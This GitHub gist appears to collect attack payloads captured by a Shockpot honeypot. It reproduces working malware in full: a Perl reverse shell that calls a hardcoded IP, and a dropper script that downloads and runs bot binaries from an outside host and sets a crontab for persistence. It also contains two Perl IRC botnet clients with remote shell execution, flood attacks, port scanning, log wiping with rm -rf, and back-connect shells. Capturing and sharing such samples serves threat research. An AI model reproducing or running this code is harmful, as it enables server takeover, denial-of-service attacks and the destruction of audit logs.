Last active
August 29, 2015 14:07
-
-
Save jatrost/9814062ccf4f02a925a1 to your computer and use it in GitHub Desktop.
Shockpot captured Payloads
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl -w | |
# perl-reverse-shell - A Reverse Shell implementation in PERL | |
# Copyright (C) 2006 [email protected] | |
# | |
# This tool may be used for legal purposes only. Users take full responsibility | |
# for any actions performed using this tool. The author accepts no liability | |
# for damage caused by this tool. If these terms are not acceptable to you, then | |
# do not use this tool. | |
# | |
# In all other respects the GPL version 2 applies: | |
# | |
# This program is free software; you can redistribute it and/or modify | |
# it under the terms of the GNU General Public License version 2 as | |
# published by the Free Software Foundation. | |
# | |
# This program is distributed in the hope that it will be useful, | |
# but WITHOUT ANY WARRANTY; without even the implied warranty of | |
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
# GNU General Public License for more details. | |
# | |
# You should have received a copy of the GNU General Public License along | |
# with this program; if not, write to the Free Software Foundation, Inc., | |
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. | |
# | |
# This tool may be used for legal purposes only. Users take full responsibility | |
# for any actions performed using this tool. If these terms are not acceptable to | |
# you, then do not use this tool. | |
# | |
# You are encouraged to send comments, improvements or suggestions to | |
# me at [email protected] | |
# | |
# Description | |
# ----------- | |
# This script will make an outbound TCP connection to a hardcoded IP and port. | |
# The recipient will be given a shell running as the current user (apache normally). | |
# | |
use strict; | |
use Socket; | |
use FileHandle; | |
use POSIX; | |
my $VERSION = "1.0"; | |
# Where to send the reverse shell. Change these. | |
my $ip = '46.246.34.82'; | |
my $port = 1992; | |
# Options | |
my $daemon = 1; | |
my $auth = 0; # 0 means authentication is disabled and any | |
# source IP can access the reverse shell | |
my $authorised_client_pattern = qr(^127\.0\.0\.1$); | |
# Declarations | |
my $global_page = ""; | |
my $fake_process_name = "/usr/sbin/apache"; | |
# Change the process name to be less conspicious | |
$0 = "[httpd]"; | |
# Authenticate based on source IP address if required | |
if (defined($ENV{'REMOTE_ADDR'})) { | |
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); | |
if ($auth) { | |
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { | |
cgiprint("ERROR: Your client isn't authorised to view this page"); | |
cgiexit(); | |
} | |
} | |
} elsif ($auth) { | |
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); | |
cgiexit(0); | |
} | |
# Background and dissociate from parent process if required | |
if ($daemon) { | |
my $pid = fork(); | |
if ($pid) { | |
cgiexit(0); # parent exits | |
} | |
setsid(); | |
chdir('/'); | |
umask(0); | |
} | |
# Make TCP connection for reverse shell | |
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); | |
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { | |
cgiprint("Sent reverse shell to $ip:$port"); | |
cgiprintpage(); | |
} else { | |
cgiprint("Couldn't open reverse shell to $ip:$port: $!"); | |
cgiexit(); | |
} | |
# Redirect STDIN, STDOUT and STDERR to the TCP connection | |
open(STDIN, ">&SOCK"); | |
open(STDOUT,">&SOCK"); | |
open(STDERR,">&SOCK"); | |
$ENV{'HISTFILE'} = '/dev/null'; | |
$ENV{"PATH"} = "/usr/bin:/usr/sbin:/bin:/usr/bin:/usr/local/sbin:/sbin"; | |
system("w;uname -a;id;pwd"); | |
exec({"/bin/sh"} ($fake_process_name, "-i")); | |
# Wrapper around print | |
sub cgiprint { | |
my $line = shift; | |
$line .= "<p>\n"; | |
$global_page .= $line; | |
} | |
# Wrapper around exit | |
sub cgiexit { | |
cgiprintpage(); | |
exit 0; # 0 to ensure we don't give a 500 response. | |
} | |
# Form HTTP response using all the messages gathered by cgiprint so far | |
sub cgiprintpage { | |
print "Content-Length: " . length($global_page) . "\r | |
Connection: close\r | |
Content-Type: text\/html\r\n\r\n" . $global_page; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
killall perl | |
wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c; | |
curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c; | |
gcc -o /tmp/a /tmp/a.c; | |
/tmp/a; | |
rm -rf /tmp/a.c; | |
wget http://stablehost.us/bots/a -O /tmp/a; | |
curl -o /tmp/a http://stablehost.us/bots/a; | |
chmod +x /tmp/a; | |
/tmp/a; | |
wget http://stablehost.us/bots/darwin -O /tmp/d; | |
curl -o /tmp/d http://stablehost.us/bots/darwin; | |
chmod +x /tmp/d; | |
/tmp/d; | |
wget http://stablehost.us/bots/pl -O /tmp/pl; | |
curl -o /tmp/pl http://stablehost.us/bots/pl; | |
perl /tmp/pl; | |
rm /tmp/pl; | |
echo "@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh" >/tmp/c; | |
crontab /tmp/c; | |
rm /tmp/c; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
my $processo =("[cpuset]","","[sync_supers]"); | |
my @titi = ("index.php?page=","main.php?page="); | |
my $goni = $titi[rand scalar @titi]; | |
my $linas_max='3'; | |
my $sleep='7'; | |
my @adms=("x", "y", "z", "w" ); | |
my @hostauth=("local"); | |
my @canais=("#b"); | |
chop (my $nick = `uname`); | |
my $servidor="3.4.5.6"; | |
my $ircname =("g"); | |
my $realname = ("g"); | |
my $porta='80'; | |
my $VERSAO = '0.5'; | |
$SIG{'INT'} = 'IGNORE'; | |
$SIG{'HUP'} = 'IGNORE'; | |
$SIG{'TERM'} = 'IGNORE'; | |
$SIG{'CHLD'} = 'IGNORE'; | |
$SIG{'PS'} = 'IGNORE'; | |
use IO::Socket; | |
use Socket; | |
use IO::Select; | |
chdir("/tmp"); | |
$servidor="$ARGV[0]" if $ARGV[0]; | |
$0="$processo"."\0"x16;; | |
my $pid=fork; | |
exit if $pid; | |
die "Problema com o fork: $!" unless defined($pid); | |
our %irc_servers; | |
our %DCC; | |
my $dcc_sel = new IO::Select->new(); | |
$sel_cliente = IO::Select->new(); | |
sub sendraw { | |
if ($#_ == '1') { | |
my $socket = $_[0]; | |
print $socket "$_[1]\n"; | |
} else { | |
print $IRC_cur_socket "$_[0]\n"; | |
} | |
} | |
sub conectar { | |
my $meunick = $_[0]; | |
my $servidor_con = $_[1]; | |
my $porta_con = $_[2]; | |
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); | |
if (defined($IRC_socket)) { | |
$IRC_cur_socket = $IRC_socket; | |
$IRC_socket->autoflush(1); | |
$sel_cliente->add($IRC_socket); | |
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; | |
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; | |
nick("$meunick"); | |
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); | |
sleep 1; | |
} | |
} | |
my $line_temp; | |
while( 1 ) { | |
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } | |
delete($irc_servers{''}) if (defined($irc_servers{''})); | |
my @ready = $sel_cliente->can_read(0); | |
next unless(@ready); | |
foreach $fh (@ready) { | |
$IRC_cur_socket = $fh; | |
$meunick = $irc_servers{$IRC_cur_socket}{'nick'}; | |
$nread = sysread($fh, $msg, 4096); | |
if ($nread == 0) { | |
$sel_cliente->remove($fh); | |
$fh->close; | |
delete($irc_servers{$fh}); | |
} | |
@lines = split (/\n/, $msg); | |
for(my $c=0; $c<= $#lines; $c++) { | |
$line = $lines[$c]; | |
$line=$line_temp.$line if ($line_temp); | |
$line_temp=''; | |
$line =~ s/\r$//; | |
unless ($c == $#lines) { | |
parse("$line"); | |
} else { | |
if ($#lines == 0) { | |
parse("$line"); | |
} elsif ($lines[$c] =~ /\r$/) { | |
parse("$line"); | |
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { | |
parse("$line"); | |
} else { | |
$line_temp = $line; | |
} | |
} | |
} | |
} | |
} | |
sub parse { | |
my $servarg = shift; | |
if ($servarg =~ /^PING \:(.*)/) { | |
sendraw("PONG :$1"); | |
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { | |
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; | |
if ($args =~ /^\001VERSION\001$/) { | |
notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001"); | |
} | |
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { | |
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) { | |
if ($onde eq "$meunick"){ | |
shell("$pn", "$args"); | |
} | |
if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) { | |
my $natrix = $1; | |
my $arg = $2; | |
if ($arg =~ /^\!(.*)/) { | |
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); | |
} elsif ($arg =~ /^\@(.*)/) { | |
$ondep = $onde; | |
$ondep = $pn if $onde eq $meunick; | |
bfunc("$ondep","$1"); | |
} else { | |
shell("$onde", "$arg"); | |
} | |
} | |
} | |
} | |
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { | |
if (lc($1) eq lc($meunick)) { | |
$meunick=$4; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
} | |
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) { | |
nick("$meunick|".int rand(999999)); | |
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { | |
$meunick = $2; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'nome'} = "$1"; | |
foreach my $canal (@canais) { | |
sendraw("JOIN $canal ddosit"); | |
} | |
} | |
} | |
sub ircase { | |
my ($kem, $printl, $case) = @_; | |
if ($case =~ /^join (.*)/) { | |
j("$1"); | |
} | |
if ($case =~ /^refresh (.*)/) { | |
my $goni = $titi[rand scalar @titi]; | |
} | |
if ($case =~ /^part (.*)/) { | |
p("$1"); | |
} | |
if ($case =~ /^rejoin\s+(.*)/) { | |
my $chan = $1; | |
if ($chan =~ /^(\d+) (.*)/) { | |
for (my $ca = 1; $ca <= $1; $ca++ ) { | |
p("$2"); | |
j("$2"); | |
} | |
} else { | |
p("$chan"); | |
j("$chan"); | |
} | |
} | |
if ($case =~ /^op/) { | |
op("$printl", "$kem") if $case eq "op"; | |
my $oarg = substr($case, 3); | |
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
if ($case =~ /^deop/) { | |
deop("$printl", "$kem") if $case eq "deop"; | |
my $oarg = substr($case, 5); | |
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
if ($case =~ /^msg\s+(\S+) (.*)/) { | |
msg("$1", "$2"); | |
} | |
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
msg("$2", "$3"); | |
} | |
} | |
if ($case =~ /^ctcp\s+(\S+) (.*)/) { | |
ctcp("$1", "$2"); | |
} | |
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
ctcp("$2", "$3"); | |
} | |
} | |
if ($case =~ /^nick (.*)/) { | |
nick("$1"); | |
} | |
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) { | |
conectar("$2", "$1", 6667); | |
} | |
if ($case =~ /^raw (.*)/) { | |
sendraw("$1"); | |
} | |
if ($case =~ /^eval (.*)/) { | |
eval "$1"; | |
} | |
} | |
sub shell { | |
my $printl=$_[0]; | |
my $comando=$_[1]; | |
if ($comando =~ /cd (.*)/) { | |
chdir("$1") || msg("$printl", "No such file or directory"); | |
return; | |
} | |
elsif ($pid = fork) { | |
waitpid($pid, 0); | |
} else { | |
if (fork) { | |
exit; | |
} else { | |
my @resp=`$comando 2>&1 3>&1`; | |
my $c=0; | |
foreach my $linha (@resp) { | |
$c++; | |
chop $linha; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); | |
if ($c == "$linas_max") { | |
$c=0; | |
sleep $sleep; | |
} | |
} | |
exit; | |
} | |
} | |
} | |
sub ctcp { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :\001$_[1]\001"); | |
} | |
sub msg { | |
return unless $#_ == 1; | |
sendraw("PRIVMSG $_[0] :$_[1]"); | |
} | |
sub notice { | |
return unless $#_ == 1; | |
sendraw("NOTICE $_[0] :$_[1]"); | |
} | |
sub op { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] +o $_[1]"); | |
} | |
sub deop { | |
return unless $#_ == 1; | |
sendraw("MODE $_[0] -o $_[1]"); | |
} | |
sub j { &join(@_); } | |
sub join { | |
return unless $#_ == 0; | |
sendraw("JOIN $_[0]"); | |
} | |
sub p { part(@_); } | |
sub part { | |
sendraw("PART $_[0]"); | |
} | |
sub nick { | |
return unless $#_ == 0; | |
sendraw("NICK $_[0]"); | |
} | |
sub quit { | |
sendraw("QUIT :$_[0]"); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
########################################################### | |
#-PRIVATE-SHIT--PRIVATE-SHIT--PRIVATE-SHIT--PRIVATE-SHIT--# | |
########################################################### | |
# Legend Bot [2011] DO NOT FUCKIN SHARE! # | |
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # | |
# Commands: # | |
# !legend @system # | |
# !legend @rootable # | |
# !legend @cleanlogs # | |
# !legend @socks5 # | |
# !legend @nmap <ip> <beginport> <endport> # | |
# !legend @back <ip><port> # | |
# !legend @sqlflood <host> <time> # | |
# !legend @udp <host> <packet size> <time> # | |
# !legend @udp2 <host> <packet size> <time> <port> # | |
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # | |
########################################################### | |
########################################################### | |
####################[Configuration]######################## | |
########################################################### | |
my $sshuser = $argv[0]; | |
my $sshpass = $argv[1]; | |
my $sshhost = $argv[2]; | |
my $hidden = 'core'; | |
my $linas_max='4'; | |
my $sleep='5'; | |
my @admins=("god","ARZ","Zax"); | |
my @hostauth=("legend.rocks"); | |
my @channels=("#apache"); | |
my $nick= 'BASH'; | |
my $ircname ='B'; | |
my $realname = '$uname'; | |
my $server='chaos.legend.rocks'; | |
my $port='7777'; | |
########################################################### | |
####################[Configuration]######################## | |
########################################################### | |
####################[lets start..]######################### | |
########################################################### | |
$SIG{'INT'} = 'IGNORE'; | |
$SIG{'HUP'} = 'IGNORE'; | |
$SIG{'TERM'} = 'IGNORE'; | |
$SIG{'CHLD'} = 'IGNORE'; | |
$SIG{'PS'} = 'IGNORE'; | |
use IO::Socket; | |
use Socket; | |
use IO::Select; | |
chdir("/"); | |
$0="$hidden"."\0"x16;; | |
my $pid=fork; | |
exit if $pid; | |
die "fork problem: $!" unless defined($pid); | |
########################################################### | |
####################[lets start..]######################### | |
########################################################### | |
####################[Connecting...]######################## | |
########################################################### | |
our %irc_servers; | |
our %DCC; | |
my $dcc_sel = new IO::Select->new(); | |
$sel_cliente = IO::Select->new(); | |
sub sendraw { | |
if ($#_ == '1') { | |
my $socket = $_[0]; | |
print $socket "$_[1]\n"; | |
} else { | |
print $IRC_cur_socket "$_[0]\n"; | |
} | |
} | |
sub conectar { | |
my $meunick = $_[0]; | |
my $server_con = $_[1]; | |
my $port_con = $_[2]; | |
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", PeerPort=>$port_con) or return(1); | |
if (defined($IRC_socket)) { | |
$IRC_cur_socket = $IRC_socket; | |
$IRC_socket->autoflush(1); | |
$sel_cliente->add($IRC_socket); | |
$irc_servers{$IRC_cur_socket}{'host'} = "$server_con"; | |
$irc_servers{$IRC_cur_socket}{'port'} = "$port_con"; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; | |
nick("$meunick"); | |
sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname"); | |
sleep 1; | |
} | |
} | |
my $line_temp; | |
while( 1 ) { | |
while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); } | |
delete($irc_servers{''}) if (defined($irc_servers{''})); | |
my @ready = $sel_cliente->can_read(0); | |
next unless(@ready); | |
foreach $fh (@ready) { | |
$IRC_cur_socket = $fh; | |
$meunick = $irc_servers{$IRC_cur_socket}{'nick'}; | |
$nread = sysread($fh, $msg, 4096); | |
if ($nread == 0) { | |
$sel_cliente->remove($fh); | |
$fh->close; | |
delete($irc_servers{$fh}); | |
} | |
@lines = split (/\n/, $msg); | |
for(my $c=0; $c<= $#lines; $c++) { | |
$line = $lines[$c]; | |
$line=$line_temp.$line if ($line_temp); | |
$line_temp=''; | |
$line =~ s/\r$//; | |
unless ($c == $#lines) { | |
parse("$line"); | |
} else { | |
if ($#lines == 0) { | |
parse("$line"); | |
} elsif ($lines[$c] =~ /\r$/) { | |
parse("$line"); | |
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { | |
parse("$line"); | |
} else { | |
$line_temp = $line; | |
} | |
} | |
} | |
} | |
} | |
########################################################### | |
####################[Connecting...]######################## | |
########################################################### | |
####################[..Connected..]######################## | |
########################################################### | |
sub parse { | |
my $servarg = shift; | |
if ($servarg =~ /^PING \:(.*)/) { | |
sendraw("PONG :$1"); | |
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { | |
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; | |
if ($args =~ /^\001VERSION\001$/) { | |
notice("$pn", "\001VERSION Legend IRC [2010]\001"); | |
} | |
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { | |
if (grep {$_ =~ /^\Q$pn\E$/i } @admins) { | |
if ($onde eq "$meunick"){ | |
shell("$pn", "$args"); | |
} | |
if ($args =~ /^(\Q$meunick\E|\!legend)\s+(.*)/ ) { | |
my $natrix = $1; | |
my $arg = $2; | |
if ($arg =~ /^\!(.*)/) { | |
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); | |
} elsif ($arg =~ /^\@(.*)/) { | |
$ondep = $onde; | |
$ondep = $pn if $onde eq $meunick; | |
bfunc("$ondep","$1"); | |
} else { | |
shell("$onde", "$arg"); | |
} | |
} | |
} | |
} | |
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { | |
if (lc($1) eq lc($meunick)) { | |
$meunick=$4; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
} | |
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) { | |
nick("$meunick-".int rand(9999999)); | |
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { | |
$meunick = $2; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'nome'} = "$1"; | |
foreach my $channel (@channels) { | |
sendraw("JOIN $channel sexy"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Hostname: $sshhost Username: $sshuser Password $sshpass2:.4"); | |
} | |
} | |
} | |
########################################################### | |
####################[..Functions..]######################## | |
########################################################### | |
sub bfunc { | |
my $printl = $_[0]; | |
my $funcarg = $_[1]; | |
if (my $pid = fork) { | |
waitpid($pid, 0); | |
} else { | |
if (fork) { | |
exit; | |
} else { | |
########################################################### | |
######################[..@system..]######################## | |
########################################################### | |
if ($funcarg =~ /^system/) { | |
$uname=`uname -a`; | |
$uptime=`uptime`; | |
$ownd=`pwd`; | |
$distro=`cat /etc/issue`; | |
$id=`id`; | |
$un=`uname -sro`; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2Uname -a: 14 $uname"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2Uptime: 14 $uptime"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2Process: 14 $hidden"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2ID: 14 $id"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2Dir: 14 $ownd"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4System Info2:.4 2OS: 14 $distro"); | |
} | |
########################################################### | |
######################[..@system..]######################## | |
########################################################### | |
########################################################### | |
######################[.@portscan.]######################## | |
########################################################### | |
if ($funcarg =~ /^portscan (.*)/) { | |
my $hostip="$1"; | |
@portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555"); | |
my (@aberta, %porta_banner); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Port Scan2:.4 Scanning for open ports on ".$1." 12 started ."); | |
foreach my $porta (@portas) { | |
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => | |
'tcp', Timeout => 4); | |
if ($scansock) { | |
push (@aberta, $porta); | |
$scansock->close; | |
} | |
} | |
if (@aberta) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Port Scan2:.4 Open ports founded: @aberta"); | |
} else { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Port Scan2:.4 No open ports foundend."); | |
} | |
} | |
########################################################### | |
######################[.@portscan.]######################## | |
########################################################### | |
########################################################### | |
######################[.@tcpflood.]######################## | |
########################################################### | |
if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4TCP2:.4 TCP Attacking14 ".$1.":".$2." 2for4 ".$3." 2seconds."); | |
my $itime = time; | |
my ($cur_time); | |
$cur_time = time - $itime; | |
while ($3>$cur_time){ | |
$cur_time = time - $itime; | |
&tcpflooder("$1","$2","$3"); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4TCP2:. 4TCP Attack done 14".$1.":".$2."."); | |
} | |
########################################################### | |
######################[.@tcpflood.]######################## | |
########################################################### | |
########################################################### | |
#####################[.@httpflood.]######################## | |
########################################################### | |
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4HTTP2:. 4HTTP Attacking14 ".$1." 4for4 ".$2." 2seconds."); | |
my $itime = time; | |
my ($cur_time); | |
$cur_time = time - $itime; | |
while ($2>$cur_time){ | |
$cur_time = time - $itime; | |
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80); | |
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; | |
close($socket); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4HTTP2:. 4HTTP Attacking done ".$1."."); | |
} | |
########################################################### | |
#####################[.@httpflood.]######################## | |
########################################################### | |
########################################################### | |
######################[.@sqlflood.]######################## | |
########################################################### | |
if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4SQL2:.4 Attacking 4 ".$1." 14 on port 3306 for 4 ".$2." 2 seconds ."); | |
my $itime = time; | |
my ($cur_time); | |
$cur_time = time - $itime; | |
while ($2>$cur_time){ | |
$cur_time = time - $itime; | |
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306); | |
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; | |
close($socket); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4SQL2:.4 Attacking done 14 ".$1."."); | |
} | |
########################################################### | |
######################[.@sqlflood.]######################## | |
########################################################### | |
########################################################### | |
######################[.@udpflood.]######################## | |
########################################################### | |
if ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4UDP2:.4 UDP Attacking14 ".$1." 4with2 ".$2." 2KB(s) for4 ".$3." 2seconds."); | |
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3"); | |
$dtime = 1 if $dtime == 0; | |
my %bytes; | |
$bytes{igmp} = $2 * $pacotes{igmp}; | |
$bytes{icmp} = $2 * $pacotes{icmp}; | |
$bytes{o} = $2 * $pacotes{o}; | |
$bytes{udp} = $2 * $pacotes{udp}; | |
$bytes{tcp} = $2 * $pacotes{tcp}; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4UDP2:.4 UDP Sent14 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 2Kb in4 ".$dtime." 2seconds to ".$1."."); | |
} | |
########################################################### | |
######################[.@udpflood.]######################## | |
########################################################### | |
########################################################### | |
######################[.@udp2flood.]######################## | |
########################################################### | |
if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4UDP22:.4 UDP2 Attacking14 ".$1.":".$4." 2with4 ".$2." 2KB(s) for4 ".$3." 2seconds."); | |
my ($dtime, %pacotes) = udpflooder2("$1", "$2", "$3","$4"); | |
$dtime = 1 if $dtime == 0; | |
my %bytes; | |
$bytes{igmp} = $2 * $pacotes{igmp}; | |
$bytes{icmp} = $2 * $pacotes{icmp}; | |
$bytes{o} = $2 * $pacotes{o}; | |
$bytes{udp} = $2 * $pacotes{udp}; | |
$bytes{tcp} = $2 * $pacotes{tcp}; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4UDP22:.4 UDP2 Sent14 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 2Kb in4 ".$dtime." 2seconds to ".$1."."); | |
} | |
############################################################ | |
########################################################### | |
######################[.@cleanlogs.]####################### | |
########################################################### | |
if ($funcarg =~ /^cleanlogs/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Clean Logs2:.14 This process can be long2,4 just wait2!"); | |
system 'rm -rf /var/log/lastlog'; | |
system 'rm -rf /var/log/wtmp'; | |
system 'rm -rf /etc/wtmp'; | |
system 'rm -rf /var/run/utmp'; | |
system 'rm -rf /etc/utmp'; | |
system 'rm -rf /var/log'; | |
system 'rm -rf /var/logs'; | |
system 'rm -rf /var/adm'; | |
system 'rm -rf /var/apache/log'; | |
system 'rm -rf /var/apache/logs'; | |
system 'rm -rf /usr/local/apache/log'; | |
system 'rm -rf /usr/local/apache/logs'; | |
system 'rm -rf /root/.bash_history'; | |
system 'rm -rf /root/.ksh_history'; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Clean Logs2:.14 All default log and bash_history files erased"); | |
sleep 1; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Clean Logs2:.14 Now Erasing the rest of the machine log files"); | |
system 'find / -name *.bash_history -exec rm -rf {} \;'; | |
system 'find / -name *.bash_logout -exec rm -rf {} \;'; | |
system 'find / -name "log*" -exec rm -rf {} \;'; | |
system 'find / -name *.log -exec rm -rf {} \;'; | |
sleep 1; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Clean Logs2:.14 Done! All logs erased"); | |
} | |
########################################################### | |
######################[.@cleanlogs.]####################### | |
########################################################### | |
########################################################### | |
########################[..@back..]######################## | |
########################################################### | |
if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) { | |
my $host = "$1"; | |
my $porta = "$2"; | |
my $proto = getprotobyname('tcp'); | |
my $iaddr = inet_aton($host); | |
my $paddr = sockaddr_in($porta, $iaddr); | |
my $shell = "/bin/sh -i"; | |
if ($^O eq "MSWin32") { | |
$shell = "cmd.exe"; | |
} | |
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; | |
connect(SOCKET, $paddr) or die "connect: $!"; | |
open(STDIN, ">&SOCKET"); | |
open(STDOUT, ">&SOCKET"); | |
open(STDERR, ">&SOCKET"); | |
system("$shell"); | |
close(STDIN); | |
close(STDOUT); | |
close(STDERR); | |
if ($estatisticas){ | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Back Connect2:.14 Connecting to 2 $host:$porta"); | |
} | |
} | |
########################################################### | |
